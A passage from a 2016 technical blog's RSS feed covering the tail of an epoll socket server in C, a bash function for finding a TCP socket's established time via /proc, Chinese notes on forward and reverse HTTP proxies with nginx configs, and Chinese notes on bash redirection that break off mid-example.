make_socket_non_blocking(infd);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (s == -1)</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; event.data.fd = infd;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; event.events = EPOLLIN | EPOLLET;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s = epoll_ctl(efd, EPOLL_CTL_ADD, infd, &amp;event);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (s == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; perror("epoll_ctl");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; continue;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* We have data on the fd waiting to be read. Read and</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;display it. We must read whatever data is available</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;completely, as we are running in edge-triggered mode</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;and won't get a notification again for the same</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;data. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int done = 0;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; while (1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ssize_t count;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; char buf[512];</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; count = read(events[i].data.fd, buf, sizeof buf);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (count == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* If errno == EAGAIN, that means we have read all</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;data. So go back to the main loop. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (errno != EAGAIN) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; perror("read");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; done = 1;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; } else if (count == 0) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* End of file. The remote has closed the</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;connection. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; done = 1;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; break;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Write the buffer to standard output */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; s = write(1, buf, count);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (s == -1) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; perror("write");</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; abort();</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if (done) {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; printf("Closed connection on descriptor %d\n", events[i].data.fd);</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; /* Closing the descriptor will make epoll remove it</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;from the set of descriptors which are monitored. */</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; close(events[i].data.fd);</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; &nbsp; &nbsp; }</div><div>&nbsp; &nbsp; }</div><div></div><div>&nbsp; &nbsp; free(events);</div><div></div><div>&nbsp; &nbsp; close(sfd);</div><div></div><div>&nbsp; &nbsp; return EXIT_SUCCESS;</div><div>}</div></div><img src ="http://www.blogjava.net/bacoo/aggbug/430993.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2016-06-22 17:23 <a href="http://www.blogjava.net/bacoo/archive/2016/06/22/430993.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>how to determine the established time of one socket</title><link>http://www.blogjava.net/bacoo/archive/2016/06/15/430906.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 15 Jun 2016 03:59:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2016/06/15/430906.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/430906.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2016/06/15/430906.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/430906.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/430906.html</trackback:ping><description><![CDATA[<div>You can try the following:</div><div></div><div>1. get the PID (say $pid) of the program by adding the -p option to netstat.</div><div>2. identify the proper line in the /proc/net/tcp file by looking at the local_address and/or rem_address fields (note that they are in hex format, specifically the IP address is expressed in little-endian byte order), also make sure that the st is 01 (for ESTABLISHED);</div><div>3. note the associated inode field (say $inode);</div><div>4. search for that inode among the file descriptors in /proc/$pid/fd and finally query the file access time of the symbolic link: find /proc/$pid/fd -lname "socket:\[$inode\]" -printf %t</div><div></div><div>function suptime() {</div><div>&nbsp; &nbsp; local addr=${1:?Specify the remote IPv4 address}</div><div>&nbsp; &nbsp; local port=${2:?Specify the remote port number}</div><div>&nbsp; &nbsp; # convert the provided address to hex format</div><div>&nbsp; &nbsp; local hex_addr=$(python -c "import socket, struct; print(hex(struct.unpack('&lt;L', socket.inet_aton('$addr'))[0])[2:10].upper().zfill(8))")</div><div>&nbsp; &nbsp; local hex_port=$(python -c "print(hex($port)[2:].upper().zfill(4))")</div><div>&nbsp; &nbsp; # get the PID of the owner process</div><div>&nbsp; &nbsp; local pid=$(netstat -ntp 2&gt;/dev/null | awk '$6 == "ESTABLISHED" &amp;&amp; $5 == "'$addr:$port'"{sub("/.*", "", $7); print $7}')</div><div>&nbsp; &nbsp; [ -z "$pid" ] &amp;&amp; { echo 'Address does not match' 2&gt;&amp;1; return 1; }</div><div>&nbsp; &nbsp; # get the inode of the socket</div><div>&nbsp; &nbsp; local inode=$(awk '$4 == "01" &amp;&amp; $3 == "'$hex_addr:$hex_port'" {print $10}' /proc/net/tcp)</div><div>&nbsp; &nbsp; [ -z "$inode" ] &amp;&amp; { echo 'Cannot lookup the socket' 2&gt;&amp;1; return 1; }</div><div>&nbsp; &nbsp; # query the inode status change time</div><div>&nbsp; &nbsp; local timestamp=$(find /proc/$pid/fd -lname "socket:\[$inode\]" -printf %T@)</div><div>&nbsp; &nbsp; [ -z "$timestamp" ] &amp;&amp; { echo 'Cannot fetch the timestamp' 2&gt;&amp;1; return 1; }</div><div>&nbsp; &nbsp; # compute the time difference</div><div>&nbsp; &nbsp; LANG=C printf '%s (%.2fs ago)\n' "$(date -d @$timestamp)" $(bc &lt;&lt;&lt;"$(date +%s.%N) - $timestamp")</div><div>}<br /><br />#the function used to convert ip between hex and decimal style<br /><div>ip_cvt() {</div><div>&nbsp; &nbsp; local addr=${1:?Please specify &lt;ip:port&gt; or &lt;ip&gt; &lt;port&gt; as the args}</div><div>&nbsp; &nbsp; if [ $# -eq 2 ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; addr=$1:$2</div><div>&nbsp; &nbsp; fi</div><div>&nbsp; &nbsp; local ip=${addr%%:*}</div><div>&nbsp; &nbsp; local port=${addr##*:}</div><div>&nbsp; &nbsp; if [ "$ip" == "${ip##*.}" ]; then</div><div>&nbsp; &nbsp; &nbsp; &nbsp; echo $(python -c "import socket, struct; print(socket.inet_ntoa(struct.pack('&lt;L', int('$ip',16))))"):$(printf "%d\n" "0x"$port)</div><div>&nbsp; &nbsp; else</div><div>&nbsp; &nbsp; &nbsp; &nbsp; echo $(python -c "import socket, struct; print(hex(struct.unpack('&lt;L', socket.inet_aton('$ip'))[0])[2:10].upper().zfill(8))"):$(python -c "print(hex($port)[2:].upper().zfill(4))")</div><div>&nbsp; &nbsp; fi</div><div>}<br /><br /><div>$ head /proc/net/tcp</div><div>&nbsp; sl &nbsp;local_address rem_address &nbsp; st tx_queue rx_queue tr tm-&gt;when retrnsmt &nbsp; uid &nbsp;timeout inode &nbsp; &nbsp; &nbsp;&nbsp;<br />the meaning of st field is:</div><div>&nbsp; 0 /* (Invalid) &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/ TCP_CLOSE,</div><div>&nbsp; 1 /* TCP_ESTABLISHED &nbsp;*/ TCP_FIN_WAIT1 | TCP_ACTION_FIN,</div><div>&nbsp; 2 /* TCP_SYN_SENT &nbsp; &nbsp; */ TCP_CLOSE,</div><div>&nbsp; 3 /* TCP_SYN_RECV &nbsp; &nbsp; */ TCP_FIN_WAIT1 | TCP_ACTION_FIN,</div><div>&nbsp; 4 /* TCP_FIN_WAIT1 &nbsp; &nbsp;*/ TCP_FIN_WAIT1,</div><div>&nbsp; 5 /* TCP_FIN_WAIT2 &nbsp; &nbsp;*/ TCP_FIN_WAIT2,</div><div>&nbsp; 6 /* TCP_TIME_WAIT &nbsp; &nbsp;*/ TCP_CLOSE,</div><div>&nbsp; 7 /* TCP_CLOSE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;*/ TCP_CLOSE,</div><div>&nbsp; 8 /* TCP_CLOSE_WAIT &nbsp; */ TCP_LAST_ACK &nbsp;| TCP_ACTION_FIN,</div><div>&nbsp; 9 /* TCP_LAST_ACK &nbsp; &nbsp; */ TCP_LAST_ACK,</div><div>&nbsp; A /* TCP_LISTEN &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; */ TCP_CLOSE,</div><div>&nbsp; B /* TCP_CLOSING &nbsp; &nbsp; &nbsp;*/ TCP_CLOSING,</div><div></div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/430906.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2016-06-15 11:59 <a href="http://www.blogjava.net/bacoo/archive/2016/06/15/430906.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>http代理的那些事</title><link>http://www.blogjava.net/bacoo/archive/2016/06/08/430837.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 08 Jun 2016 08:31:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2016/06/08/430837.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/430837.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2016/06/08/430837.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/430837.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/430837.html</trackback:ping><description><![CDATA[<div>正向、反向都是A要访问一些只有C才能访问到的东西，中间通过C来中介；</div><div>1。区别：</div><div>正向：A告诉C，我要明确访问B，C把B上的资源拽回来，返回给A；对B而言，访问我的是C，压根不知道A的存在；在A看来，我需要显示的配置代理服务器C，要明确告诉C我要访问的资源是B；</div><div>反向：A告诉C，我要请求一些资源，C知道资源在B上，从B上把资源拽回来返回给A；对B而言，直接访问我的是C但同时也知道真正的资源请求者是A；在A看来，压根不知道B的存在，一直以为资源就是在C上；</div><div>总结：正向非常简单理解，就是委托C帮我访问，出了事也都是C兜着，C这里仅仅是一个傻傻的替人干活和顶雷的工具，说白了就是A在本地wget拽B的资源不行，但在C上wget是可以拽下来B的资源的（当然这里C也得是一个server进程，因为要侦听端口等待A来访问，还要返回结果给A）；干反向代理的C不再是那么简单的一个工具了，而是一个真正意义上的service，可以综合考虑A的需求和B的服务能力来做智能转发，因此会具有负载均衡的能力（当然这里也可以使用最简化版的C，即：C也只是一股脑的单纯的把请求转发给B，在这种意义上，貌似感觉反向干的还是正向干的事，实则不然，关键在于B，对于正向而言B是一个特定的资源，例如B可以是https://www.zhihu.com/question/19761434，也可以是http://blog.csdn.net/physicsdandan/article/details/45667357；对于反向而言，B只能是一个或几个特定的服务地址，例如http://10.138.20.241:8834/，请求都是转给这一个或这几个特定服务地址的，当然这个特定服务地址也有可能又是proxy）<br /><div>2。典型应用场景：</div><div>正向：翻到墙外去看片；</div><div>反向：把内网的资源暴露给外部访问；<br /><div>3。能做代理的软件：</div><div>a. nginx：正反都可以，但不支持https；</div><div>b. 正向代理支持https的：http://www.oki-osk.jp/esc/python/proxy/TinyHTTPProxy-0.2.1.zip就一个python文件，最简单易用，已经测试过svn可以用它（配置下~/.subversion/servers里的[global]下的http-proxy-host和http-proxy-port就可以了），更多的参见https://www.zhihu.com/question/19871146；</div><div>4。一句话总结：</div><div>都是把http请求进行转发，调整几个header字段而已；反向代理主要干内网暴露和负载均衡这两件事；</div><div></div><div>最后附上nginx正反向代理的配置模板：</div><div>正向代理：</div><div>server {&nbsp;</div><div>&nbsp; &nbsp; resolver 8.8.8.8;&nbsp;</div><div>&nbsp; &nbsp; resolver_timeout 5s;&nbsp;</div><div></div><div>&nbsp; &nbsp; listen 8081;&nbsp;</div><div></div><div>&nbsp; &nbsp; location / {&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_pass $scheme://$http_host$request_uri;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_set_header Host $http_host;&nbsp;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_buffers 256 8k;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_max_temp_file_size 0;&nbsp;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_connect_timeout 30;&nbsp;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_valid 200 302 10m;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_valid 301 1h;&nbsp;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_cache_valid any 1m;&nbsp;</div><div>&nbsp; &nbsp; }&nbsp;</div><div>}</div><div></div><div>反向代理：</div><div>upstream apachephp &nbsp;{</div><div>&nbsp; &nbsp; server ip:8080;</div><div>}</div><div></div><div>server {</div><div>&nbsp; &nbsp; listen 80;</div><div>&nbsp; &nbsp; server_name www.myblog.cn;</div><div></div><div>&nbsp; &nbsp; access_log &nbsp;logs/quancha.access.log &nbsp;main;</div><div>&nbsp; &nbsp; error_log &nbsp; logs/quancha.error.log;</div><div>&nbsp; &nbsp; root &nbsp; &nbsp; &nbsp; &nbsp;html;</div><div>&nbsp; &nbsp; index &nbsp; &nbsp; &nbsp; index.html index.htm index.php;</div><div></div><div>&nbsp; &nbsp; ## send request back to apache ##</div><div>&nbsp; &nbsp; location / {</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_pass &nbsp;http://apachephp;</div><div></div><div>&nbsp; &nbsp; &nbsp; &nbsp; #Proxy Settings</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_redirect &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; off;<br />&nbsp; &nbsp; &nbsp; &nbsp; proxy_set_header &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Host &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $host:$server_port;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_set_header &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; X-Real-IP &nbsp; &nbsp; &nbsp; &nbsp;$remote_addr;<br /><span style="font-family: Helvetica, Tahoma, Arial, sans-serif; background-color: #ffffff;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;proxy_set_header&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;REMOTE-HOST&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;$remote_addr;</span></div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_set_header &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; X-Forwarded-For &nbsp;$proxy_add_x_forwarded_for;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_next_upstream &nbsp; &nbsp; &nbsp; &nbsp;error timeout invalid_header http_500 http_502 http_503 http_504;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_max_temp_file_size &nbsp; 0;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_connect_timeout &nbsp; &nbsp; &nbsp;90;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_send_timeout &nbsp; &nbsp; &nbsp; &nbsp; 90;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_read_timeout &nbsp; &nbsp; &nbsp; &nbsp; 90;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_buffer_size &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4k;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_buffers &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4 32k;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_busy_buffers_size &nbsp; &nbsp;64k;</div><div>&nbsp; &nbsp; &nbsp; &nbsp; proxy_temp_file_write_size 64k;</div><div>&nbsp; &nbsp; }</div><div>}</div><div></div></div></div><img src ="http://www.blogjava.net/bacoo/aggbug/430837.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/bacoo/" target="_blank">so true</a> 2016-06-08 16:31 <a href="http://www.blogjava.net/bacoo/archive/2016/06/08/430837.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>bash redirect re-study</title><link>http://www.blogjava.net/bacoo/archive/2016/03/30/429893.html</link><dc:creator>so true</dc:creator><author>so true</author><pubDate>Wed, 30 Mar 2016 04:10:00 GMT</pubDate><guid>http://www.blogjava.net/bacoo/archive/2016/03/30/429893.html</guid><wfw:comment>http://www.blogjava.net/bacoo/comments/429893.html</wfw:comment><comments>http://www.blogjava.net/bacoo/archive/2016/03/30/429893.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/bacoo/comments/commentRss/429893.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/bacoo/services/trackbacks/429893.html</trackback:ping><description><![CDATA[<div>本质:先理解linux里的int dup2(int oldfd, int newfd)命令，dup2() makes newfd be the copy of oldfd。</div><div>理解:重定向这个概念其实不是很好理解，如果用编程里面的指针来说明，那就很容易了。举个例子，比如指针p1指向瓶子，指针p2指向抽屉，现在执行p1&gt;&amp;p2（相当于p1 = p2)，这样p1这个指针也指向抽屉了，也就是说我们把p1这个指针重定向到一个新的地方，这个地方是p2所指的地方，即抽屉；</div><div>&nbsp; &nbsp; 简而言之，这个例子里重定向的含义是：把p1指向p2所指的地方（重定向就是指向的含义），而瓶子、抽屉这2个&#8220;实体&#8221;是不变的，重定向能调整的只是指针的指向。</div><div>&nbsp; &nbsp; $ ls -l /proc/$$/fd</div><div>&nbsp; &nbsp; lr-x------ 1 admin admin 64 2016-03-30 10:14 0 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 1 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 2 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; lrwx------ 1 admin admin 64 2016-03-30 10:14 255 -&gt; /dev/pts/413</div><div>&nbsp; &nbsp; 我们说0代表stdin，1代表stdout，2代表stderr，这里stdin/stdout/stderr是实体（这里都是/dev/pts/413，即terminal这个设备），0/1/2只是一个fd，可以理解为指针或者标记；</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 2&gt;&amp;1 &gt;file1之所以file1里只会有1行，原因是：</div><div>&nbsp; &nbsp; 我们首先把2指向了stdout（stdout正是1所指的东西），这个时候1和2都指向了stdout；</div><div>&nbsp; &nbsp; 然后我们把1指向了file1，这个时候2依然还是指着stdout；</div><div>&nbsp; &nbsp; 然后I'm from stdout这句话写到了1里面，其实也就是写到了file1里面，I'm from stderr这句话写到了2里面，其实也就是写到了stdout里面。</div><div></div><div>整体规则:</div><div>&nbsp; &nbsp; 1. TO (&lt;|&gt;|&lt;&gt;) FROM;</div><div>&nbsp; &nbsp; 2. (&lt;|&gt;)这两个东西后面可以跟&amp;fd/&amp;-/&amp;fd-，也可以跟一个file名字；例外&gt;&amp;file1表示stdout和stderr都重定向到file1里面；&lt;&gt;后面只可以跟file1，例如&lt;&gt;file1表示从file1里既读入数据，也写入数据;</div><div>&nbsp; &nbsp; 3. (&lt;|&gt;|&lt;&gt;)这三个东西前面不能有空格，后面跟的&amp;不能有空格，除此之外无要求，例如：exec 1&gt;&amp; 2- #但2和-之间不能有空格；</div><div></div><div>操作:</div><div>&nbsp; &nbsp; 1. 打开一个fd的方法：exec fd&gt;&amp;1 &nbsp;或者 &nbsp; exec fd&lt;&amp;0 或者 exec fd&gt;file1 或者 exec fd&lt;file1 或者 exec fd &lt;&gt;file1；</div><div>&nbsp; &nbsp; &nbsp; &nbsp;如果你不想指定fd（希望系统自动给你分配一个fd），那么有一种特殊的用法，例子是：</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exec {NEW_STDOUT}&gt;&amp;1 #注意这个用法很特殊，你不能NEW_STDOUT=15; exec ${NEW_STDOUT}&gt;&amp;1</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;echo "hello" &gt;&amp;$NEW_STDOUT # echo "hello" &gt;&amp;${NEW_STDOUT}也可以</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;echo ${NEW_STDOUT} #从10开始分配</div><div>&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;exec {NEW_STDOUT}&gt;&amp;-</div><div>&nbsp; &nbsp; 2. 关闭一个fd的方法：exec fd&gt;&amp;- 或者 exec fd&lt;&amp;-</div><div>&nbsp; &nbsp; 3. move fd的方法：new_fd&gt;&amp;old_fd-，move完之后，old_fd会被关掉；</div><div></div><div>实战:</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 2&gt;&amp;1 &gt;file1 #file1里将会有1行I'm from stdout，原因是stdout赋给了stderr，file1赋给了stdout，2句话里，打印到stdout的那句被写入file1，打印到stderr被写入到了stdout</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) &gt;file1 2&gt;&amp;1 #file1里将会有2行，原因是file1赋给了stdout，stdout赋给了stderr（其实也就是file1赋给了stderr），这个时候，stdout和stderr都指向了file1</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) &amp;&gt; file1 #file1里将会有2行，file1前面的空格可以省略</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) &gt;&amp; file1 #file1里将会有2行，file1前面的空格可以省略</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) |&amp; cat &gt; file1 #file1里将会有2行，file1前面的空格可以省略</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 2&gt;&amp;1 | cat &gt; file1 #file1里将会有2行，file1前面的空格可以省略</div><div></div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) &gt;file1 | grep err #grep fail</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 2&gt;&amp;1 &gt;file1 | grep err #grep ok</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 3&gt;&amp;1 1&gt;&amp;2 2&gt;&amp;3-| grep stderr #grep ok，这其实实现了stdout和stderr的交换，类似于通过c=a;a=b;b=c;来实现a和b的交换（先把a赋给c，紧接着找到b赋给a，然后用c再赋给b）</div><div>&nbsp; &nbsp; (echo "I'm from stdout"; echo "I'm from stderr" 1&gt;&amp;2) 1&gt;&amp;2- | grep stderr #grep ok</div><div>&nbsp; &nbsp; echo "hello world" | tee &gt;(grep hello) &gt;(grep world) &gt;/dev/null #结合上tee的多路dispatch，功能会更强大</div><div></div><div>&nbsp; &nbsp; &gt; file1 #create file1 or truncate file1 to zero size</div><div>&nbsp; &nbsp; &lt;file1 cat #&lt;file1这部分放到命令的前面或者后面都可以</div><div>&nbsp; &nbsp; 2&gt;&amp;1 ls not_found_file | grep found #grep ok</div><div>&nbsp; &nbsp; cat &lt; file1 &gt; file2 #等同于cp file1 file2</div><div></div><div>&lt;&gt;高级用法:</div><div>&nbsp; &nbsp; 1. 写到一个文件中指定的地方：</div><div>&nbsp; &nbsp; &nbsp; &nbsp; echo 1234567890 &gt; file1 &nbsp; # 写字符串到"File".</div><div>&nbsp; &nbsp; &nbsp; &nbsp; exec 3&lt;&gt; file1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 打开"File"并且给它分配fd 3.</div><div>&nbsp; &nbsp; &nbsp; &nbsp; read -n 4 &lt;&amp;3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 只读4个字符.</div><div>&nbsp; &nbsp; &nbsp; &nbsp; echo -n . &gt;&amp;3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; # 